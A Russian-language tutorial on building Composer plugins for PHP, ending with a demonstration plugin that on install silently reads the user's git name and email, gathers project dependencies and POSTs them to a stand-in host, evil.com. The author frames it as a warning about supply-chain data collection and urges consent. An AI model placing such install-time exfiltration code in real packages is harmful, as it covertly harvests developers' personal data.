Composer
— это самый важный инструмент в наборе современного PHP-разработчика. Времена ручного управления зависимостями остались в далеком прошлом, и их место заняли такие замечательные вещи как Semver
. Вещи, которые помогают нам спать по ночам, ведь мы можем обновлять наши зависимости не обрушивая все вокруг.
Хоть мы и используем Composer
довольно часто, не все знают о том, как расширить его возможности. Такая мысль даже не возникает, ведь он и так делает свою работу хорошо по-умолчанию, и кажется, что это не стоит времени или усилий, чтобы попытаться или хотя бы изучить. Даже в официальной документации обходят стороной этот вопрос. Наверное, потому что никто не спрашивает…
Однако, недавние изменения сделали разработку плагинов для Composer
намного легче. Сам же Composer
также недавно перешел из альфа-версии в бету, пожалуй, это самый консервативный цикл релизов из когда-либо задуманных. Этот инструмент, который изменил современный PHP-мир, сделал его таким, каким мы видим его сейчас. Этот краеугольный камень профессиональной разработки PHP. Он просто перешел из альфы в бету.
Итак, сегодня я подумал, что мне бы хотелось исследовать возможности composer-плагинов, и по ходу дела создать немного свежей документации.
Вы можете найти код этого плагина на Github.
Приступая к работе
Для начала, нам нужно создать репозиторий с плагином, отдельно от приложения, в котором мы будем его использовать. Плагины устанавливаются как и обычные зависимости. Давайте созданим новую папку и положим туда composer.json
файл:
{ "type": "composer-plugin", "name": "habrahabr/plugin", "require": { "composer-plugin-api": "^1.0" } }
Каждая из этих строчек важна! Мы присваиваем этому плагину тип composer-plugin
для того, чтобы иметь доступ к хукам жизненного цикла Composer
, которые мы будем использовать.
Мы даем имя плагину, чтобы наше приложение могло добавить его в зависимости. Вы можете использовать все остальные переменные по вашему усмотрению, но запомните как вы назвали плагин, это нам понадобится позже.
Также необходимо проставить зависимость с composer-plugin-api
. Указанная версия важна, потому что наш плагин будет рассматриваться как совместимый с определенной версией API плагинов, что в свою очередь влияет на такие вещи, как, например, метод подписей.
Далее нам нужно указать класс для автозагрузки плагина:
"autoload": { "psr-4": { "HabraHabr\\": "src" } }, "extra": { "class": "HabraHabr\\Plugin" }
Создаем папку src
с файлом Plugin.php
. Вот код, который отработает на первом хуке в жизненном цикле Composer
:
namespace HabraHabr; use Composer\Composer; use Composer\IO\IOInterface; use Composer\Plugin\PluginInterface; class Plugin implements PluginInterface { public function activate(Composer $composer, IOInterface $io) { print "hello world"; } }
PluginInterface
описывает наличие публичного метода activate
, который вызывается после загрузки плагина. Давайте убедимся, что наш плагин работае. Перейдем в наше приложение и создадим для него composer.json
:
{ "name": "habrahabr/app", "require": { "habrahabr/plugin": "*" }, "repositories": [ { "type": "path", "url": "../habrahabr-plugin" } ], "minimum-stability": "dev", "prefer-stable": true }
Это значительно проще, чем раньше и больше похоже на то, как люди будут использовать ваш плагин. Лучшим решением было бы выпустить стабильные версии вашего плагина через Packagist, но пока вы разрабатываете и так нормально. Конфиг сообщает Composer
‘у что нужно запросить любые имеющиеся версии habrahabr/plugin
и указывает источник для зависимости.
Путь к репозиторию относительный, поэтому Composer автоматически сделает symlink и заботится об этом вам не придется. Раз уж мы завязываемся на нестабильной зависимости, то давайте укажем минимально-требуемый уровень как dev
.
В подобных ситуациях все же будет предпочтительней завязываться на стабильных версиях библиотек там, где это возможно…
Теперь при запуске composer install
из папки приложения вы увидите сообщение hello world
! И все это без какого либо размещения кода на на github или Packagist.
Я рекомендую использовать команду rm -rf vendor composer.lock; composer install
во время разработки. Особенно, когда вы начнете работать с папками для установки!
Исследуем возможности
Также хорошей идеей будет поставить в зависимости composer/composer
, это упростит нам работу с интерфейсами и классами, которые в будущем нам понадобятся.
Большую часть того, что вы узнаете о плагинах, вы можете найти глядя на исходные коды Composer
. В качестве альтернативы вы можете воспользоваться дебаггером и проверить весь ход исполнения, начиная с метода activate
. Также, если вы используете IDE, например PHPStorm, наличие исходников облегчит изучение и поможет легко перемещаться между вашим кодом и кодом менеджера зависимостей.
Например, мы можем проинспектировать $composer->getPackage()
, чтобы увидеть для чего нужна та или иная переменная в файле composer.json
. Мы можем использовать $io->ask("...")
, чтобы задавать вопросы во время процесса установки.
Давайте это используем!
Давайте построим что-то практичное, хотя, возможно, немного дьявольской. Давайте сделаем наш плагин отслеживает действия пользователей и зависимости, которые они требуют. Мы начинаем поиск их в git username и email:
Начнем же наконец-то делать что-то практичное и, возможно, немного дьявольское! Давайте сделаем так, чтобы наш плагин отслеживал действия пользователей и зависимости, которые они требуют. Начнем с поиска их имени и почты, указанных в git
:
public function activate(Composer $composer, IOInterface $io) { exec("git config --global user.name", $name); exec("git config --global user.email", $email); $payload = []; if (count($name) > 0) { $payload["name"] = $name[0]; } if (count($email) > 0) { $payload["email"] = $email[0]; } }
Имена пользователей и адреса электронной почты обычно хранятся в глобальном конфиге git
, команда git config --global user.name
, выполненная в терминале, вернет их. Выполнив их через exec
мы получим результаты в нашем плагине.
Теперь, давайте отследим имя приложения (если оно определено), а также набор зависимостей и их версий. То же самое сделаем для dev
-зависимостей, сделаем обеих групп общий метод:
private function addDependencies($type, array $dependencies, array $payload) { $payload = array_slice($payload, 0); if (count($dependencies) > 0) { $payload[$type] = []; } foreach ($dependencies as $dependency) { $name = $dependency->getTarget(); $version = $dependency->getPrettyConstraint(); $payload[$type][$name] = $version; } return $payload; }
Мы получаем название и ограничения по версии для каждой из библитоек и добавляем их в массив $payload
. Вызов array_slice
гарантирует нам отсутствие побочных эффектов этого метода, при многократном вызове мы получим точно такие же результаты.
Подобную реазилацию часто называют pure function
, или примером использования неизменяемых переменных.
Теперь давайте используем этот метод и передадим ему массивы с зависимостями:
public function activate(Composer $composer, IOInterface $io) { // ...get user details $app = $composer->getPackage()->getName(); if ($app) { $payload["app"] = $app; } $payload = $this->addDependencies( "requires", $composer->getPackage()->getRequires(), $payload ); $payload = $this->addDependencies( "dev-requires", $composer->getPackage()->getDevRequires(), $payload ); }
И наконец, мы можем отправить эти данные куда-нибудь:
public function activate(Composer $composer, IOInterface $io) { // ...get user details // ...get project details $context = stream_context_create([ "http" => [ "method" => "POST", "timeout" => 0.5, "content" => http_build_query($payload), ], ]); @file_get_contents("https://evil.com", false, $context); }
Мы могли бы использовать Guzzle для этого, но file_get_contents
работает также хорошо. По сути, все что нужно сделать — POST
запрос на https://evil.com
с сериализированными данными.
Будь хорошим
Я ни в коем случае не призываю вас собирать в тайне собирать пользовательские данные. Но, возможно, полезно знать, сколько данных может кто-то собрать, с помощью простой зависимость к хорошо продуманному Composer
-плагину.
Конечно, можно использовать опцию composer install --no-plugins
, но множество фреймворков и систем управления контентом зависят от плагинов, требующихся для их правильной установки.
Несколько дополнительных предупреждений:
- Если вы собираетесь использовать
exec
, фильтруйте и проверяйте любые данные, которые не указаны жестко в коде. В противном случае вы создаете вектор атаки на ваш код. - Если вы отправляете данные, отправляйте их по HTTPS. Иначе другие люди доберутся до них.
- Не отслеживайте пользовательские данные без согласия. Задавайте вопрос перед тем, как начать сбор, делайте это каждый раз! Что-то вроде
IOInterface::ask("...")
— как раз то, что вам нужно…
Помогла ли вам эта статья? Возможно, у вас есть идея для плагина; например свой плагин-установщик для библиотек, или плагин, который загружает оффлайн документацию для популярных проектов. Дайте знать в комментариях ниже…
ссылка на оригинал статьи https://habrahabr.ru/post/280744/
Добавить комментарий